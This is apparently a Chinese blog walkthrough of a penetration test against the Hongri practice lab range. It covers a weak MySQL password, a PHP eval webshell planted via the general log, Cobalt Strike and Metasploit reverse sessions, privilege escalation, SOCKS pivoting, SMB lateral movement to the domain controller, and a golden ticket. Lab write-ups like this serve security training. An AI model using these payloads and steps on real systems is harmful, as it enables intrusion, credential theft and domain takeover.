红日靶场(一)渗透

红日靶场(一)渗透

第一章

渗透思路

  1. 一、漏洞利用

    1. 漏洞搜索与利用
    2. 系统信息收集
    3. 数据库弱密码
    4. 后台Getshell上传
    5. 主机信息收集

    二、内网搜集

    1. 内网–继续信息收集
    2. 内网攻击姿势–信息泄露
    3. 内网攻击姿势-MS14-058
    4. 远程桌面口令猜测

    三、横向移动

    1. 内网攻击姿势-SMB
    2. 黄金票据

    四、构建通道

    1. 内网其它主机端口-代理转发

    五、持久控制

    1. 域渗透-域成员信息收集
    2. 域渗透-基础服务弱口令探测及深度利用之powershell
    3. 域渗透-横向移动[wmi利用]
    4. 域渗透-C2命令执行
    5. 域渗透-利用DomainFronting实现对beacon的深度隐藏
    6. 域渗透-域控实现与利用

步骤描述

先使用nmap扫描端口开放情况

开放了80,3306端口

┌──(kali㉿kali)-[~]
└─$ nmap -sS -sV -Pn 192.168.111.20
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-14 10:21 +0800
Nmap scan report for 192.168.111.20
Host is up (0.068s latency).
Not shown: 989 closed tcp ports (reset)
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: GOD)
1025/tcp open  msrpc        Microsoft Windows RPC
1026/tcp open  msrpc        Microsoft Windows RPC
1027/tcp open  msrpc        Microsoft Windows RPC
1028/tcp open  msrpc        Microsoft Windows RPC
1029/tcp open  msrpc        Microsoft Windows RPC
1030/tcp open  msrpc        Microsoft Windows RPC
3306/tcp open  mysql        MySQL (unauthorized)
Service Info: Host: STU1; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 67.60 seconds

image-20260614102646210

访问80端口,可以发现有PHP探针

image-20260614102741660

可以检测数据库连接

image-20260614103004831

尝试弱密码 root/root,提示数据库连接成功

image-20260614103048926

说明存在弱口令

image-20260614103220717

在网页最下面我们可以看到这里使用了phpMyAdmin来管理数据库,因此我们现在可以登录后台

image-20260614103433949

进入后,尝试一下是否可以直接写webshell,执行show global variables like '%secure%',发现不可写

image-20260614103936374

这里字段是NULL,不可写,如果为空就可以写任意目录,有路径就只能往对应路径里写

再看看有没有开启日志,试试能不能往日志里写,执行SHOW GLOBAL VARIABLES LIKE '%general%';

image-20260614104310122

没开,但我们可以把它打开,set global general_log='on'; 然后把日志路径改为web网站路径 set global general_log_file = 'C:/phpstudy/WWW/test.php'

image-20260614104652120

检查一下发现更改成功了

image-20260614104735818

接下来就可以往进写入一句话木马了,执行一下select "<?php eval($_POST['a'])?>"

然后我们直接用蚁剑连接这个木马

image-20260614105303090

接下来就可以上线CS了,在kali中启动CS

image-20260614105427512

创建监听器

image-20260614111015618

image-20260614111058156

生成EXE木马,把木马用蚁剑上传,然后打开终端执行木马

image-20260614182650632

成功上线CS

image-20260614182739678

接下来我们使用基于MSF+proxychains+kali的渗透

MSF联动,把CS会话注入MSF

首先在msf上监听自己的ip跟端口:
use exploit/multi/handler
set payload windows/meterpreter/reverse_http(跟cs上选用的payload一样)
set lhost 本机ip
set lport 接受的端口
exploit [执行]

image-20260615152124140

然后cs那边创建一个foreign监听的listeners。 Listeners的ip为msf的ip,端口为msf监听的端口

image-20260615152153356

选择 spawn即可

image-20260615152221053

MSF成功接收会话

image-20260615152252164

msf添加路由run post/multi/manage/autoroute,使MSF能够与内网通讯,顺便设置字符编码为UTF-8避免乱码

image-20260615152428187

run autoroute -p检查一下路由是否添加成功

image-20260615152518168

由于现在我们不是SYSTEM,所以要提权到SYSTEM

尝试msf提权的时候返回

msf exploit(windows/local/ms15_051_client_copy_image) > run
[-] Handler failed to bind to 192.168.111.25:32222:-  -
[-] Handler failed to bind to 0.0.0.0:32222:-  -
[-] Exploit aborted due to failure: no-target: Running against WOW64 is not supported
[*] Exploit completed, but no session was created.

所以我们把当前会话迁移到64 位进程上,使用ps查看有哪些进程

meterpreter > ps

Process List
============

 PID   PPID  Name              Arch  Session  User               Path
 ---   ----  ----              ----  -------  ----               ----
 0     0     [System Process]
 4     0     System
 252   4     smss.exe
 312   488   svchost.exe
 328   320   csrss.exe
 384   376   csrss.exe
 392   320   wininit.exe
 428   376   winlogon.exe
 444   1772  rundll32.exe      x86   0        GOD\Administrator  C:\Windows\syswow64\rundll32.exe
 488   392   services.exe
 500   392   lsass.exe
 508   392   lsm.exe
 604   488   svchost.exe
 664   488   vmacthlp.exe
 708   488   svchost.exe
 800   488   svchost.exe
 836   488   svchost.exe
 860   488   svchost.exe
 1012  488   svchost.exe
 1080  488   spoolsv.exe
 1112  488   svchost.exe
 1264  488   svchost.exe
 1340  488   openvpnserv.exe
 1392  488   VGAuthService.ex
             e
 1604  488   taskhost.exe
 1700  488   vmtoolsd.exe
 1772  3648  beacon.exe        x64   0        GOD\Administrator  C:\phpStudy\WWW\beacon.exe
 1972  488   sppsvc.exe
 2112  488   msdtc.exe
 2180  444   powershell.exe    x86   0        GOD\Administrator  C:\Windows\SysWOW64\WindowsPowerShell\v
                                                                 1.0\powershell.exe
 2244  2880  httpd.exe         x86   0        GOD\Administrator  C:\phpStudy\Apache\bin\httpd.exe
 2328  604   WmiPrvSE.exe
 2536  488   svchost.exe
 2768  860   taskeng.exe       x64   0        GOD\Administrator  C:\Windows\System32\taskeng.exe
 2880  2768  httpd.exe         x86   0        GOD\Administrator  C:\phpStudy\Apache\bin\httpd.exe
 2888  2768  mysqld.exe        x86   0        GOD\Administrator  C:\phpStudy\MySQL\bin\mysqld.exe
 2900  604   slui.exe          x64   1
 2980  328   conhost.exe       x64   0        GOD\Administrator  C:\Windows\System32\conhost.exe
 3352  488   SearchIndexer.ex
             e
 3648  3740  cmd.exe           x86   0        GOD\Administrator  C:\Windows\SysWOW64\cmd.exe
 3656  836   dwm.exe
 3680  3648  explorer.exe
 3688  328   conhost.exe       x64   0        GOD\Administrator  C:\Windows\System32\conhost.exe
 3692  328   conhost.exe       x64   0        GOD\Administrator  C:\Windows\System32\conhost.exe
 3740  2244  cmd.exe           x86   0        GOD\Administrator  C:\Windows\SysWOW64\cmd.exe
 3832  488   svchost.exe
 3896  3680  vmtoolsd.exe
 3912  3680  Everything.exe
 3932  3680  openvpn-gui.exe

迁移到taskeng.exe (PID 2768)

image-20260615160314512

这里也可以使用另一种方法升级架构:

# 先查看当前系统架构
sysinfo
# 确认是:x64-based PC

# 生成一个64位的Meterpreter payload
execute -f cmd.exe -c -H -i
# 进入cmd后执行(或者直接在meterpreter里):
run post/windows/manage/archmigrate

image-20260615174526555

接下来就可以提权了

image-20260615174700230

提权成功后没有回弹新的shell,所以我们做一下迁移

meterpreter > ps

Process List
============

 PID   PPID  Name               Arch  Session  User               Path
 ---   ----  ----               ----  -------  ----               ----
 0     0     [System Process]
 4     0     System
 252   4     smss.exe
 312   488   svchost.exe
 328   320   csrss.exe
 384   376   csrss.exe
 392   320   wininit.exe
 428   376   winlogon.exe
 444   1772  rundll32.exe       x86   0        GOD\Administrator  C:\Windows\syswow64\rundll32.exe
 488   392   services.exe
 500   392   lsass.exe
 508   392   lsm.exe
 604   488   svchost.exe
 664   488   vmacthlp.exe
 708   488   svchost.exe
 800   488   svchost.exe
 836   488   svchost.exe
 860   488   svchost.exe
 1012  488   svchost.exe
 1080  488   spoolsv.exe
 1112  488   svchost.exe
 1264  488   svchost.exe
 1340  488   openvpnserv.exe
 1392  488   VGAuthService.exe
 1500  3408  svchost.exe        x64   0        GOD\Administrator  C:\windows\system32\svchost.exe
 1604  488   taskhost.exe
 1700  488   vmtoolsd.exe
 1772  3648  beacon.exe         x64   0        GOD\Administrator  C:\phpStudy\WWW\beacon.exe
 1972  488   sppsvc.exe
 2000  1500  msiexec.exe        x64   0                           C:\windows\system32\msiexec.exe
 2112  488   msdtc.exe
 2124  4028  cmd.exe            x86   0        GOD\Administrator  C:\Windows\SysWOW64\cmd.exe
 2180  444   powershell.exe     x86   0        GOD\Administrator  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\pow
                                                                  ershell.exe
 2244  2880  httpd.exe          x86   0        GOD\Administrator  C:\phpStudy\Apache\bin\httpd.exe
 2328  604   WmiPrvSE.exe
 2536  488   svchost.exe
 2868  2124  beacon.exe         x64   0        GOD\Administrator  C:\phpStudy\WWW\beacon.exe
 2880  2768  httpd.exe          x86   0        GOD\Administrator  C:\phpStudy\Apache\bin\httpd.exe
 2888  2768  mysqld.exe         x86   0        GOD\Administrator  C:\phpStudy\MySQL\bin\mysqld.exe
 2900  604   slui.exe           x64   1
 2980  328   conhost.exe        x64   0        GOD\Administrator  C:\Windows\system32\conhost.exe
 3352  488   SearchIndexer.exe
 3456  328   conhost.exe        x64   0        GOD\Administrator  C:\Windows\system32\conhost.exe
 3588  2868  rundll32.exe       x86   0        GOD\Administrator  C:\Windows\syswow64\rundll32.exe
 3648  3740  cmd.exe            x86   0        GOD\Administrator  C:\Windows\SysWOW64\cmd.exe
 3656  836   dwm.exe
 3680  3648  explorer.exe
 3688  328   conhost.exe        x64   0        GOD\Administrator  C:\Windows\system32\conhost.exe
 3692  328   conhost.exe        x64   0        GOD\Administrator  C:\Windows\system32\conhost.exe
 3740  2244  cmd.exe            x86   0        GOD\Administrator  C:\Windows\SysWOW64\cmd.exe
 3832  488   svchost.exe
 3896  3680  vmtoolsd.exe
 3912  3680  Everything.exe
 3932  3680  openvpn-gui.exe
 4028  2244  cmd.exe            x86   0        GOD\Administrator  C:\Windows\SysWOW64\cmd.exe

直接迁移到已经是SYSTEM权限的msiexec进程

migrate 2000

image-20260615175712526

现在我们已经拿到这台windows主机的system了

接下来进行域内信息搜集

C:\phpStudy\WWW>ipconfig /all
ipconfig /all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : stu1
   Primary Dns Suffix  . . . . . . . : god.org
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : god.org

Ethernet adapter ������� 5:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection #3
   Physical Address. . . . . . . . . : 00-50-56-B1-90-E9
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::1414:c326:29:9100%26(Preferred)
   IPv4 Address. . . . . . . . . . . : 192.168.111.20(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . :
   DHCPv6 IAID . . . . . . . . . . . : 721440854
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-24-F3-A2-4E-00-0C-29-A7-C1-A8
   DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1
                                       fec0:0:0:ffff::2%1
                                       fec0:0:0:ffff::3%1
   NetBIOS over Tcpip. . . . . . . . : Enabled

Ethernet adapter Npcap Loopback Adapter:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Npcap Loopback Adapter
   Physical Address. . . . . . . . . : 02-00-4C-4F-4F-50
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::b461:ccad:e30f:81ba%24(Preferred)
   Autoconfiguration IPv4 Address. . : 169.254.129.186(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . :
   DHCPv6 IAID . . . . . . . . . . . : 268566604
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-24-F3-A2-4E-00-0C-29-A7-C1-A8
   DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1
                                       fec0:0:0:ffff::2%1
                                       fec0:0:0:ffff::3%1
   NetBIOS over Tcpip. . . . . . . . : Enabled

Ethernet adapter ������� 3:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : TAP-Windows Adapter V9 #2
   Physical Address. . . . . . . . . : 00-FF-56-0B-EA-FC
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes

Ethernet adapter ������� 2:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : TAP-Windows Adapter V9
   Physical Address. . . . . . . . . : 00-FF-44-8D-CB-B5
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes

Ethernet adapter �������:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
   Physical Address. . . . . . . . . : 00-50-56-B1-10-1E
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::b439:d46:3203:bdf3%11(Preferred)
   IPv4 Address. . . . . . . . . . . : 192.168.52.143(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.52.2
   DHCPv6 IAID . . . . . . . . . . . : 234884137
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-24-F3-A2-4E-00-0C-29-A7-C1-A8
   DNS Servers . . . . . . . . . . . : 192.168.52.138
                                       8.8.8.8
   NetBIOS over Tcpip. . . . . . . . : Enabled

Tunnel adapter isatap.{4DAEBDFD-0177-4691-8243-B73297E2F0FF}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Microsoft ISATAP Adapter
   Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes

Tunnel adapter isatap.{560BEAFC-DAC4-4687-A564-57790875DC43}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Microsoft ISATAP Adapter #2
   Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes

Tunnel adapter isatap.{448DCBB5-7D61-4538-9C03-66B5CDAD1222}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Microsoft ISATAP Adapter #3
   Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes

Tunnel adapter isatap.{EC57C4EB-763E-4000-9CDE-4D7FF15DF74C}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Microsoft ISATAP Adapter #4
   Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes

Tunnel adapter isatap.{3333F97E-7734-4F23-9CBD-3435C7F5B981}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Microsoft ISATAP Adapter #5
   Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes

发现存在域god.org

使用net view /domain看看有几个域

image-20260615180423845

我们发现只有唯一一个域,域控主机名是GOD

我们接着查询所有域内主机,如下所示net view

image-20260615180541206

arp -a查询域内IP

image-20260615180634753

为了确定哪个是域控主机IP,我们尝试去ping一下域名

image-20260615180832983

查询 DNS SRV 记录

C:\phpStudy\WWW>nslookup -type=SRV _ldap._tcp.dc._msdcs.god.org
nslookup -type=SRV _ldap._tcp.dc._msdcs.god.org
DNS request timed out.
    timeout was 2 seconds.
Server:  UnKnown
Address:  192.168.52.138

_ldap._tcp.dc._msdcs.god.org    SRV service location:
          priority       = 0
          weight         = 100
          port           = 389
          svr hostname   = owa.god.org
owa.god.org     internet address = 192.168.52.138

至此我们域内信息收集完毕

域名为 god

域中有三台主机:

stu1.god.org

root-tvi862ubeh.god.org 192.168.52.141

owa.god.org 192.168.52.138 域控主机

由于kali攻击机无法直接访问内网的Windows server 2008,所以只能通过在Windows7上面架设一个socks代理服务器,通过这个socks代理进入内网,从而控制Windows server 2008。

使用MSF开启socks代理

use auxiliary/server/socks_proxy
set version 4a
set srvhost 0.0.0.0
set srvport 1080
run

通过jobs可查看代理设置成功

image-20260615182125192

使用kali代理从而访问内网 vim /etc/proxychains4.conf

image-20260615182304737

火狐浏览器配置本机自动检测代理模式

image-20260615182358719

输入proxychains firefox 192.168.52.138:80 成功访问内网web网站成功访问内网

image-20260615182419048

接下来挂代理用nmap扫端口

image-20260615182558002

开放了445端口,我们尝试使用永恒之蓝进行探测

image-20260615185411472

但利用失败,所以我们转用CS来进行横向

凭证提权—>抓取明文密码

刚刚我们端口扫描的时候发现开放了445端口,可以创建SMB监听隧道。

  1. SMB监听隧道的核心原理是利用SMB协议在目标主机上建立隐蔽的通信通道,绕过传统防火墙和入侵检测系统的监控。
  2. SMB协议基础:文件共享,域名解析等,默认通过445端口通信

image-20260615195650994

切换攻击目标列表

image-20260615195735390

添加 用户名 密码 域名 -> 监听器 -> 对端连接的隧道

监听器选择我们刚刚创建的SMB监听器,对端连接的隧道选择system权限的

image-20260615195331163

image-20260615195508048

横向成功,进入域控

image-20260615200425757

现在已经控制域控了

image-20260615200700664

也可以考虑做权限维持

黄金票据是指能够绕过认证授权机制并获得所需权限的票据。这种票据可以被攻击者收集和利用,从而从系统内部获取高权限,甚至完全控制系统。

  1. 抓取 Hash 还有明文密码

把SID,域名,复制下来等下黄金票据要用

image-20260615200838397

hash:

58e91a5ac358d86513ab224312314061:::

image-20260615200950623

SID:

S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415

2.黄金票据配置

凭证提权—>黄金票据

把刚刚复制的域名,SID,hash粘贴上去,用户名随便

image-20260615201124440

成功

image-20260615201142821

Licensed under CC BY-NC-SA 4.0
Build by Oight
使用 Hugo 构建
主题 StackJimmy 设计